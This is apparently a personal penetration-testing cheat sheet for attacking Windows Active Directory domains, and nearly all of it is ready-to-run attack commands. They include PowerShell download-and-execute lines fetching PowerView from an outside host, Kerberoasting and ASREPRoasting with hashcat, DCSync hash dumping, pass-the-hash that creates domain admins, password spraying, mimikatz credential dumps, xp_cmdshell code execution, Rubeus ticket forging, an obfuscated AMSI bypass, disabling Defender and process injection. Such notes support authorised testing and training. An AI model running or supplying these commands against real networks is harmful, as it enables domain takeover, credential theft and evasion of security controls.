Domain Enumeration + Exploitation
This is just a living document of things I have needed for domain enumeration/exploitation

POWERSPLOIT

Use the dev branch or PowerSploit. For an already incredible cheat sheet, check out HarmJ0y's.
IEX(New-Object Net.WebClient).downloadString('http://10.10.10.123/ps/PowerView.ps1')

Get Domain Users

Get-NetUser * -Domain corp.local | Select-Object -Property name,samaccountname,description,memberof,whencreated,pwdlastset, lastlogontimestamp,accountexpires,admincount,userprincipalname, serviceprincipalname, mail,useraccountcontrol | Export-CSV users.csv

Get Domain Computers

Get-NetComputer * -Domain corp.local | Select-Object -Property dnshostname,operatingsystem,operatingsystemservicepack,lastlogontimestamp | Export-CSV computers.csv

Get Group Members

Get-DomainGroupMember -Identity "Helpdesk" | Select-Object membername

SPN Ticket Request (Kerberoast)

Get-DomainUser * -SPN | Get-DomainSPNTicket -OutputFormat Hashcat | Export-Csv .\ticket.csv -NoTypeInformation

Enumerate User DACLs

1
PS C:\> Get-DomainObjectAcl -Identity it_admin -ResolveGUIDs ? { $_.SecurityIdentifier -Match $(ConvertTo-SID burmat) }
2
3
AceType : AccessAllowed
4
ObjectDN : CN=it_admin,CN=Users,DC=BURMAT,DC=CO
5
ActiveDirectoryRights : GenericAll
6
OpaqueLength : 0
7
ObjectSID : S-1-5-21-2736429227-4547413232-2815246478-1130
8
InheritanceFlags : None
9
BinaryLength : 36
10
IsInherited : False
11
IsCallback : False
12
PropagationFlags : None
13
SecurityIdentifier : S-1-5-21-2736429227-4547413232-2815246478-1107
14
AccessMask : 983551
15
AuditFlags : None
16
AceFlags : None
17
AceQualifier : AccessAllowed
Copied!

Enumerate Network Shares

1
## scan an entire domain:
2
find-domainshare -computerdomain burmat.local
3
4
## narrow down scope, check permissions:
5
find-domainshare -computername websrv.burmat.local -computerdomain burmat.local -CheckShareAccess
Copied!

Impersonate Another Domain User

1
PS C:\> $cred = New-Object System.Management.Automation.PSCredential "BURMAT\John.Smith", $(ConvertTo-SecureString "Spring2020!" -AsPlainText -Force);
2
PS C:\> find-domainshare -computername fs01.burmat.local -Credential $cred -computerdomain burmat.local -CheckShareAccess
3
WARNING: [Invoke-UserImpersonation] Executing LogonUser() with user: BURMAT\John.Smith
4
5
WARNING: [Invoke-RevertToSelf] Reverting token impersonation and closing LogonUser() token handle
6
Name Type Remark ComputerName
7
---- ---- ------ ------------
8
Accounting 0 fs01.burmat.local
9
Private 0 fs01.burmat.local
10
11
12
PS C:\windows\temp\.b> Invoke-UserImpersonation -Credential $cred
13
WARNING: [Invoke-UserImpersonation] Executing LogonUser() with user: BURMAT\John.Smith
14
6548
15
16
## now we can read the directory impersonating another user if permissions exist:
17
PS C:\> dir \\fs01.burmat.local\Private
Copied!

Enumerate GPO's

1
"{7EA15487-7F5B-4CE3-C029-CEBE6FFE6D47}" | Get-DomainGPO
Copied!

Reset Domain User Password

If you own the owner of another AD user object (WriteOwner, WriteDACL, GenericWrite, Owner, etc), you can reset the password with ease:
1
IEX(New-Object Net.WebClient).downloadString('http://10.10.10.123/ps/PowerView.ps1')
2
3
$user = 'DOMAIN\owner_acct';
4
$pass= ConvertTo-SecureString 'Password123!' -AsPlainText -Force;
5
$creds = New-Object System.Management.Automation.PSCredential $user, $pass;
6
7
$newpass = ConvertTo-SecureString '[email protected]' -AsPlainText -Force;
8
9
Set-DomainUserPassword -Identity 'DOMAIN\vuln_user' -AccountPassword $newpass -Credential $creds;
Copied!
Or if you can set yourself as owner, the following will do:
1
IEX(New-Object Net.WebClient).downloadString('http://10.10.10.123/ps/PowerView.ps1')
2
Set-DomainObjectOwner -Identity it_admin -OwnerIdentity burmat
3
Add-DomainObjectAcl -TargetIdentity it_admin -PrincipalIdentity burmat
4
$newpass = ConvertTo-SecureString -String 'burmat123#x27; -AsPlainText -Force
5
Set-DomainUserPassword -Identity it_admin -AccountPassword $newpass
Copied!

Add/Exploit DCSync Rights

Do you have WriteDACL to a domain? Give DCSync rights to an unprivileged domain user account:
Add-DomainObjectAcl -TargetIdentity "DC=burmatco,DC=local" -PrincipalIdentity useracct1 -Rights DCSync
And use these rights to dump the hashes from the domain:
meterpreter > dcsync_ntlm BURMATCO\\useracct1

IMPACKET

Thanks to the impacket toolset, exploiting misconfigurations in AD environments is made easier.

GetNPUsers.py

Attempt to get TGTs for users that have UF_DONT_REQUIRE_PREAUTH set:
1
python GetNPUsers.py -request -no-pass -dc-ip 10.10.10.123 burmat.co/ -usersfile users.txt
Copied!

secretsdump.py

Attack a local offline copy of NTDS.dit:
1
./secretsdump.py -ntds /root/l00t/ntds.dit -system /root/l00t/systemhive LOCAL
Copied!
Or you can attack a system remotely:
1
./secretsdump.py -just-dc-ntlm burmat.co/[email protected]
Copied!

GetADUsers.py

Leverage this script to grab usernames via LDAP
1
./GetADUsers.py -all -no-pass -dc-ip 10.10.10.123 burmat.co/ | cut -d " " -f 1 | grep -Ev 'Name|Impacket|\-\-|\[' >> users.txt
Copied!

CRACKMAPEXEC

Pass-the-Hash

Because hashes are just as good:
1
## create a new user
2
crackmapexec smb 10.10.10.123 -u 'administrator' -d 'burmat.co' -H 'd7452863d1e8e15241nn50ceb1ab9dfe' -x 'net user burmat Pwn3dPwn3d! /add /domain'
3
## add user to domain admins group
4
crackmapexec smb 10.10.10.123 -u 'administrator' -d 'burmat.co' -H 'd7452863d1e8e15241nn50ceb1ab9dfe' -x 'net group "Domain Admins" /add burmat /domain'
Copied!

Password Spraying

Switch out usernames/passwords/targets with lists:
1
## to spray that Spring2020! and a list of users against a list of targets:
2
crackmapexec smb ~/targets.txt -u ~/users.txt -p Spring2020! -d burmat.co
Copied!

Dumping Credentials

1
## mimikatz module
2
crackmapexec smb 10.10.10.123 -u 'administrator' -d 'burmat.co' -p 'S3cur3PW123' -M mimikatz -o COMMAND='privilege::debug'
3
4
## SAM database
5
crackmapexec smb 10.10.10.123 -u 'administrator' -d 'burmat.co' -p 'S3cur3PW123' --sam
Copied!

POWERUPSQL

MSSQL Enumeration:

1
## basic instance information
2
Get-SQLInstanceLocal
3
4
## more verbose information:
5
Get-SQLServerInfo -Verbose -Instance SQLSRV\SQLEXPRESS
6
7
## crawl for databse links:
8
Get-SqlServerLinkCrawl -Verbose -Instance SQLSRV\SQLEXPRESS
Copied!
1
Get-SqlServerLinkCrawl -Verbose -Instance SQLSRV\SQLEXPRESS -Query "select name from master..sysdatabases" | Select-Object -ExpandProperty CustomQuery
Copied!

Enable xp_cmdshell / Execute Commands

1
## enable xp_cmdshell:
2
Get-SQLQuery -Instance SQLSRV\SQLEXPRESS -query "EXECUTE('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT ""sqlsrv.burmat.local"""
3
4
## test rce:
5
Get-SQLServerLinkCrawl -Instance "SQLSRV\SQLEXPRESS" -Query "exec master..xp_cmdshell 'whoami'" | Select-Object -ExpandProperty CustomQuery
Copied!

KERBEROS

Brute Usernames with Nmap

1
nmap -v -Pn -p 88 --script krb5-enum-users.nse --script-args "realm='burmat.co', userdb='users.txt'" 10.10.10.123
Copied!

GenericWrite to Host + User SPN = PWN

If we have GenericWrite privileges over a host and we are a user that has an SPN, we can write our SID to the msDS-AllowedToActOnBehalfOfOtherIdentity property against the AD object and forge tickets as anyone we like. You can read more about it here: https://alsid.com/company/news/kerberos-resource-based-constrained-delegation-new-control-path
1
## we can write our delegation attribute to the DC with the following:
2
$UserSid = Get-DomainUser svc_burmat -Properties objectsid | Select -Expand objectsid
3
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($UserSid))"
4
$SDBytes = New-Object byte[] ($SD.BinaryLength)
5
$SD.GetBinaryForm($SDBytes, 0)
6
Get-DomainComputer websrv.burmat.local | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
7
8
## now we can use rubeus to forge tickets as anyone we want:
9
./rubeus.exe s4u /user:svc_burmat /ticket:doIFFDCCBRCg... SNIP .. /impersonateuser:administrator /msdsspn:cifs/websvr.burmat.local /ptt
Copied!

Kerberoasting:

Rubeus:

1
./rubeus.exe kerberoast /creduser:burmat.co\xsvc /credpassword:S3cur3PW123 /outfile:user.hash
Copied!

Impacket:

1
./GetUserSPNs.py -request -dc-ip 10.10.10.123 burmat.co/xsvc:S3cur3PW123
2
hashcat -m 13100 hash.txt -a 0 /usr/share/wordlists/rockyou.txt --force
Copied!

PowerView:

1
IEX(New-Object Net.WebClient).downloadString('http://10.10.15.123/ps/PowerView.ps1');
2
$securePassword = ConvertTo-SecureString 'S3cur3PW123' -AsPlainText -Force;
3
$credential = New-Object System.Management.Automation.PSCredential('burmat.co\xsvc', $securePassword);
4
Get-DomainUser -Credential $credential -Server dc01.burmat.co -SPN | Get-DomainSPNTicket -Credential $credential -OutputFormat Hashcat
Copied!

Attacking spoolss ("The Printer Bug")

From a host with unconstrained delegation, "the printer bug" and dementor.py can be used to cause a TGT relay from the target host to us running responder, so we can generate a TGS for any user on that target host:
1
## set up a relay with responder:
2
responder -I tun0 --lm # tun0 = 10.10.15.123
3
4
## execute exploit through:
5
proxychains python dementor.py -u xsvc -p 'S3cur3PW123' -d 'burmat.co' 10.10.15.123 10.10.10.123
Copied!

BLOODHOUND

Ingestor Launch

1
IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.123/ps/SharpHound.ps1');
2
Invoke-BloodHound -CollectionMethod All -CompressData -SkipPing;
Copied!

LDAP QUERIES

Below are some useful LDAP queries that will help you enumerate a system. Some of them require a valid username/password to get more information. My go-to for these queries is ldapsearch.
Null session:
1
ldapsearch -x -h 10.10.10.123 -D '' -w '' -b "DC=BURMAT,DC=CO"
Copied!
Authenticated:
1
ldapsearch -LLL -x -H ldap://burmat.co -D "svc-burmat" -w "burmat123quot; -b "dc=burmat,dc=co" "<LDAP QUERY HERE>"
Copied!

Domain Usernames

Get usernames into a list by enumerating user objects:
1
ldapsearch -x -h burmat.co -b "dc=burmat,dc=co" -s sub "(objectclass=user)" | grep sAMAccountName | cut -d " " -f 2 > users.txt
Copied!

ASREPRoast Accounts

1
## ldap filter to find accounts susceptible to this:
2
"(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))"
3
4
## generate a list of user accounts and use impacket to exploit:
5
python GetNPUsers.py -request -no-pass -dc-ip 10.1.1.123 burmat.co/ -usersfile users.txt
6
7
## and if you get a ticket, you can crack it:
8
hashcat -m 18200 -a 0 --force user.hash /usr/share/wordlists/rockyou.txt
Copied!

User Account Objects with SPNs

1
"(&(&(servicePrincipalName=*) (UserAccountControl:1.2.840.113556.1.4.803:=512)) (!(UserAccountControl:1.2.840.113556.1.4.803:=2)))"
2
3
## if you get valid domain credentials, you can dump them w/ impacket for offline cracking:
4
python GetUserSPNs.py -request burmat.co/svc-burmat:burmat123$
Copied!

User and Computers with Unconstrained Delegation

1
# user:
2
"(&(&(objectCategory=person) (objectClass=user)) (userAccountControl:1.2.840.113556.1.4.803:=524288))"
3
4
# computer:
5
"(&(objectCategory=computer) (objectClass=computer) (userAccountControl:1.2.840.113556.1.4.803:=524288))"
Copied!

Domain Administrators

1
"(&(objectClass=user) (memberof:1.2.840.113556.1.4.1941:=CN=Domain Admins,CN=Users,DC=burmat,DC=co))"
Copied!

Group Policies

1
"objectClass=groupPolicyContainer"
Copied!

EVADING AV

Checking Status

1
# is av enabled:
2
PS C:\> Get-MpComputerStatus
3
4
# applocker rules:
5
PS C:\> $a = Get-ApplockerPolicy -effective
6
PS C:\> $a.rulecollections
7
8
# constrained?:
9
PS C:\> $ExecutionContext.SessionState.LanguageMode
Copied!

PowerShell Bypass with 32-bit

PowerShell disabled for you? Try running the 32-bit copy of it:
C:\windows\syswow64\windowspowershell\v1.0\powershell whoami

Writable Folders for Bypassing Execution Control

Try putting your payload in one of the following directories:
1
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
2
C:\Windows\System32\spool\drivers\color
3
C:\Windows\Tasks
4
C:\windows\tracing
Copied!

Turning Off Defender's RTM

PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true; Get-MpComputerStatus

AMSI Bypass

1
PS C:\> [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)
Copied!

PROCESS ELEVATION (via SeDebugPrivilege)

If you run whoami /priv and you see SeDebugPrivilege set to Enabled, you can assume you already have SYSTEM.
One way of doing it, is using decoder's psgetsys.ps1 script once you have a good idea on a PID to inject:
. .\psgetsys.ps1; [MyProcess]::CreateProcessFromParent(7864,'C:\temp\burmat443.exe');
You can also gain a MSF session and use the module windows/manage/payload_inject with a PID of your choice.

REMOTE DESKTOP

Enable RDP

1
PS C:\> Set-itemproperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\' -Name "fDenyTSConnections" -value 0
2
PS C:\> Set-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\' -Name "UserAuthentication" -value 1
3
PS C:\> Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
Copied!

MISCELLANEOUS

1
# list shared folders
2
PS> Get-WmiObject -Class Win32_Share -Computer dc1.burmat.co
Copied!
Last modified 1yr ago